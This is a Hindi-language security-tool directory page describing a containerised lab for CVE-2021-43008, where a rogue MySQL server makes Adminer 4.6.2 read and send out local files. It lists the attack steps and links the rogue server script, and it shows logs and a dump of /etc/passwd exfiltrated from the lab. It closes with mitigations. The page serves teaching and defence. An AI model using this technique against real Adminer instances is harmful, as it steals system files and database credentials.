Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
adminer_CVE-2021-43008 — Adminer की CVE-2021-43008 भेद्यता के लिए प्रदर्शन वातावरण : वास्तविक प्रभाव का निरीक्षण करें और शमन उपायों का परीक्षण करें। | Kitploit
उपकरण/GitHubGitHub/bamolitho/adminer_cve-2021-43008
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणलर्निंग और शिक्षाडेटाबेस सुरक्षालैब और अभ्यास
GitHubbamolitho/adminer_cve-2021-43008

adminer_CVE-2021-43008

Adminer की CVE-2021-43008 भेद्यता के लिए प्रदर्शन वातावरण : वास्तविक प्रभाव का निरीक्षण करें और शमन उपायों का परीक्षण करें।

रिपॉजिटरी देखें
139 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2021-43008 — Adminer भेद्यता

दुर्भावनापूर्ण MySQL सर्वर के माध्यम से मनमानी फ़ाइल पढ़ना

1. Adminer क्या है?

Adminer एक वेब टूल (PHP) है जो MySQL, PostgreSQL, SQLite या SQL Server डेटाबेस को आसानी से प्रबंधित करने की अनुमति देता है। इसे आमतौर पर phpMyAdmin के हल्के विकल्प के रूप में तैनात किया जाता है।

प्रभावित संस्करण: Adminer ≤ 4.6.2


2. भेद्यता की प्रकृति क्या है?

2.1. एक्सेस कंट्रोल विफलता

Adminer किसी भी दूरस्थ MySQL सर्वर से कनेक्शन की अनुमति देता है। हालाँकि, MySQL सर्वर से कनेक्ट करते समय, क्लाइंट (यहाँ Adminer) स्वीकार करता है:

  • सर्वर से प्रारंभिक निर्देशों का एक सेट,
  • जिसमें LOAD DATA LOCAL INFILE कमांड शामिल है, जो सर्वर को क्लाइंट से स्थानीय फ़ाइल भेजने का अनुरोध करने की अनुमति देता है।
  • 2.2. समस्या

    Adminer कमजोर संस्करणों में MySQL सर्वर प्रतिक्रियाओं को सही ढंग से मान्य नहीं करता।

    परिणाम: हमलावर द्वारा नियंत्रित MySQL सर्वर अनुरोध कर सकता है:

    "Adminer को होस्ट करने वाली मशीन या कंटेनर पर इस स्थानीय फ़ाइल को पढ़ें और इसे मुझे भेजें।"

    यह तंत्र MySQL पैकेट से संबंधित है: 0xFB | filename → स्थानीय फ़ाइल पढ़ने को ट्रिगर करता है।

    संस्करण 4.6.2 कमजोर क्यों है?

    Adminer 4.6.2 एक उपयोगकर्ता को बाहरी MySQL सर्वर निर्दिष्ट करने और स्वतंत्र रूप से उससे कनेक्ट करने की अनुमति देता था। हालाँकि, MySQL डिफ़ॉल्ट रूप से इसके उपयोग की अनुमति देता था:

    • LOAD DATA LOCAL INFILE
    • स्वचालित मोड में जब कुछ सर्वर किसी फ़ाइल का अनुरोध करते थे।

    इसलिए: Adminer → दुर्भावनापूर्ण सर्वर से कनेक्ट होता है → दुर्भावनापूर्ण सर्वर एक फ़ाइल का अनुरोध करता है → Adminer इसे भेजता है।

    यह भेद्यता का सार है।


    3. शोषण की शर्तें

    हमलावर को चाहिए:

    1. दुर्भावनापूर्ण MySQL सर्वर होस्ट करें (Rogue MySQL Server)।
    2. Adminer को अपने सर्वर से कनेक्ट करने के लिए प्रेरित करें:
      • कॉन्फ़िगरेशन त्रुटि के माध्यम से,
      • सार्वजनिक रूप से उजागर इंटरफ़ेस के माध्यम से,
      • उपयोगकर्ता की कार्रवाई के माध्यम से ("supply host" प्रकार का हमला)।
    3. दुर्भावनापूर्ण MySQL सर्वर एक LOAD DATA LOCAL INFILE पैकेट वापस भेजता है।
    4. Adminer एक स्थानीय फ़ाइल पढ़ता है।
    5. फ़ाइल हमलावर को वापस भेज दी जाती है।

    स्थानीय फ़ाइल को बाहर निकालने के लिए किसी रूट पासवर्ड की आवश्यकता नहीं है: Adminer लक्ष्य सर्वर पर PHP एप्लिकेशन के रूप में कार्य करता है।


    4. भेद्यता के परिणाम

    4.1. गोपनीयता से समझौता

    हमलावर कर सकता है:

    • /etc/passwd पढ़ें (Adminer को होस्ट करने वाली इकाई का: होस्ट मशीन या कंटेनर),
    • /etc/shadow पढ़ें (PHP उपयोगकर्ता की अनुमतियों के अनुसार),
    • कॉन्फ़िगरेशन फ़ाइलें प्राप्त करें,
    • MySQL कनेक्शन क्रेडेंशियल चुराएँ,
    • वेब उपयोगकर्ता के लिए सुलभ सभी जानकारी निकालें।

    4.2. प्रभाव वृद्धि

    चुराए गए MySQL क्रेडेंशियल (द्वितीयक चरण) के साथ, वह बाद में कर सकता है:

    • वास्तविक आंतरिक डेटाबेस से कनेक्ट हो सकता है,
    • डेटा पढ़ सकता है,
    • तालिकाओं में लिख सकता है,
    • दुर्भावनापूर्ण पेलोड इंजेक्ट कर सकता है।

    5. व्यावहारिक प्रदर्शन (PoC) — लैब आर्किटेक्चर

    PoC किसी भी जोखिम से बचने के लिए पृथक और कंटेनरीकृत वातावरण में किया जाता है।

    5.1. लैब के घटक

    1. कमजोर Adminer (संस्करण 4.6.2) भूमिका: पीड़ित localhost:8080 पर स्थानीय रूप से उजागर
    2. वैध MySQL (वैकल्पिक) भूमिका: वास्तविक डेटाबेस का अनुकरण
    3. दुर्भावनापूर्ण MySQL सर्वर (Python) भूमिका: हमलावर यह Adminer को स्थानीय फ़ाइल पढ़ने के लिए मजबूर करने के लिए 0xFB filename पैकेट भेजता है।

    5.2. फ़ोल्डर संरचना

    root@kitploit:~
    adminer_CVE-2021-43008/
    │
    ├── README.md
    ├── docker-compose.yml
    │
    └──rogue_mysql_server/
    	├── rogue_mysql_server.py
    	├── requirements.txt
    	└── Dockerfile
    

    6. PoC प्रक्रिया: भेद्यता कैसे प्रकट होती है?

    6.1. लैब शुरू करें

    root@kitploit:~
    docker compose build && docker compose up -d
    

    6.2. Adminer से दुर्भावनापूर्ण सर्वर से कनेक्ट करें

    http://localhost:8080 में:

    • सिस्टम: MySQL
    • सर्वर: rogue_mysql:33306
    • उपयोगकर्ता: कोई भी
    • पासवर्ड: कोई भी

    6.3. स्वचालित प्रक्रिया

    1. Adminer हैंडशेक भेजता है।
    2. दुर्भावनापूर्ण MySQL LOAD DATA LOCAL INFILE '/etc/passwd' वापस भेजता है।
    3. Adminer /etc/passwd पढ़ता है।
    4. Adminer इसकी सामग्री दुर्भावनापूर्ण सर्वर को भेजता है।
    5. दुर्भावनापूर्ण सर्वर टेक्स्ट को stolen_file.txt में संग्रहीत करता है।

    6.4. देखा गया परिणाम

    दुर्भावनापूर्ण सर्वर के लॉग देखने के लिए निम्न कमांड का उपयोग करें:

    root@kitploit:~
    docker logs -f rogue_mysql
    

    अपेक्षित परिणाम:

    root@kitploit:~
    2025-11-27 16:59:54,248:INFO:Serving on ('0.0.0.0', 33306)
    2025-11-27 17:02:55,213:INFO:Conn from: ('172.18.0.3', 37200)
    2025-11-27 17:02:55,214:INFO:Last packet
    2025-11-27 17:02:55,214:INFO:Query
    2025-11-27 17:02:55,214:INFO:Requesting file: /etc/shadow
    2025-11-27 17:02:55,215:INFO:-- Received file data
    2025-11-27 17:02:55,215:INFO:Result length: 1 bytes
    2025-11-27 17:02:55,215:INFO:Last packet
    2025-11-27 17:02:55,216:INFO:Query
    2025-11-27 17:02:55,216:INFO:Requesting file: /etc/passwd
    2025-11-27 17:02:55,216:INFO:-- Received file data
    2025-11-27 17:02:55,217:INFO:Result length: 920 bytes
    2025-11-27 17:02:55,217:INFO:File content received: 919 bytes
    2025-11-27 17:02:55,217:INFO:File saved to stolen_file.txt
    

    stolen_file.txt फ़ाइल की सामग्री देखें:

    root@kitploit:~
    docker exec -it rogue_mysql sh
    

    कंटेनर के अंदर एक बार, आप stolen_file.txt सहित फ़ाइलों की सामग्री देख सकते हैं

    root@kitploit:~
    # ls
    mysql.log  requirements.txt  rogue_mysql_server.py  stolen_file.txt
    
    root@kitploit:~
    # cat stolen_file.txt
    

    परिणाम:

    root@kitploit:~
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    _apt:x:100:65534::/nonexistent:/bin/false
    

    यह परिणाम स्पष्ट रूप से भेद्यता को प्रदर्शित करता है।

    7. शमन उपाय

    A. Adminer अपडेट करें (यह अकेला पर्याप्त है)

    सबसे विश्वसनीय समाधान: Adminer ≥ 4.6.3 पर जाएँ

    बाद के संस्करण नेटवर्क व्यवहार को ठीक करते हैं।

    निम्नलिखित संस्करणों में क्या ठीक किया गया

    Adminer 4.7.x से शुरू करके, कई सुरक्षाएँ शुरू की गई हैं:

    Adminer अब डिफ़ॉल्ट रूप से LOAD DATA LOCAL INFILE को प्रतिबंधित करता है

    अर्थात:

    • पूरी तरह से अक्षम
    • या केवल तब सक्षम जब उपयोगकर्ता द्वारा स्पष्ट रूप से अनुमति दी गई हो

    → परिणाम: आपका दुर्भावनापूर्ण MySQL अब फ़ाइलें नहीं निकाल सकता।

    Adminer सर्वर को भेजने से पहले क्लाइंट क्रियाओं को फ़िल्टर करता है

    यह बाहरी कनेक्शन को खतरनाक कार्यों का उपयोग करने से रोकता है।

    अतिरिक्त इनपुट सत्यापन तंत्र

    नए संस्करण जाँचते हैं:

    • क्या लक्ष्य सर्वर अपेक्षित है
    • क्या क्रिया खतरनाक नहीं है
    • क्या क्वेरी वैध उपयोगकर्ता क्रिया से मेल खाती है

    B. बाहरी कनेक्शन अक्षम करें

    Adminer को केवल आंतरिक होस्ट तक सीमित करें:

    • फ़ायरवॉल के माध्यम से (OUTPUT + DOCKER NETWORKS),
    • फ़िल्टर किए गए रिवर्स प्रॉक्सी के माध्यम से,
    • सख्ती से स्थानीयकृत नेटवर्क कॉन्फ़िगरेशन के माध्यम से।

    उत्पादन में Adminer को हमेशा आंतरिक MySQL की ओर इंगित करना चाहिए।


    C. MySQL पक्ष पर LOCAL INFILE अक्षम करें

    वैध MySQL क्लाइंट के माध्यम से चोरी को रोकता है:

    root@kitploit:~
    [mysqld]
    local_infile=0
    

    या:

    root@kitploit:~
    SET GLOBAL local_infile=0;
    

    D. Adminer को कभी भी सार्वजनिक रूप से उजागर न करें

    Adminer इंटरनेट पर सुलभ नहीं होना चाहिए।

    उत्पादन में:

    • VPN के माध्यम से सीमित पहुँच,
    • SSO या मजबूत प्रमाणीकरण,
    • स्वचालित समाप्ति।

    E. उपयोग के बाद Adminer हटा दें

    Adminer को अस्थायी उपकरण के रूप में देखा जाना चाहिए:

    • इसे एक बार के कार्य के लिए तैनात किया जाता है,
    • फिर इसे हटा दिया जाता है।

    8. संसाधन और विश्वसनीय संदर्भ

    • उपयोग किए गए Python स्क्रिप्ट का स्रोत: https://github.com/Gifts/Rogue-MySql-Server/blob/master/rogue_mysql_server.py
    • Adminer आधिकारिक साइट https://www.adminer.org/en/
    • Sansec (प्रारंभिक प्रकाशन) https://sansec.io/research/adminer-4.6.2-file-disclosure-vulnerability
    • Podalirius (तकनीकी स्पष्टीकरण + PoC) https://podalirius.net/en/cves/2021-43008/
    • vulhub: https://github.com/vulhub/vulhub/blob/master/adminer/CVE-2021-43008/

    9. अंतिम सारांश

    CVE-2021-43008 Adminer ≤ 4.6.2 में एक महत्वपूर्ण भेद्यता है जो अनुमति देती है:

    • एक हमलावर जो MySQL सर्वर को नियंत्रित करता है,
    • Adminer को स्थानीय फ़ाइल पढ़ने के लिए मजबूर करना,
    • फिर सामग्री को हमलावर तक निकालना।

    यह निम्नलिखत के महत्व का एक आदर्श प्रदर्शन है:

    • नेटवर्क नियंत्रण,
    • MySQL क्लाइंट प्रतिबंध,
    • प्रशासन उपकरणों का गैर-एक्सपोज़र,
    • सॉफ़्टवेयर संस्करण प्रबंधन।

    टूल डाउनलोड करें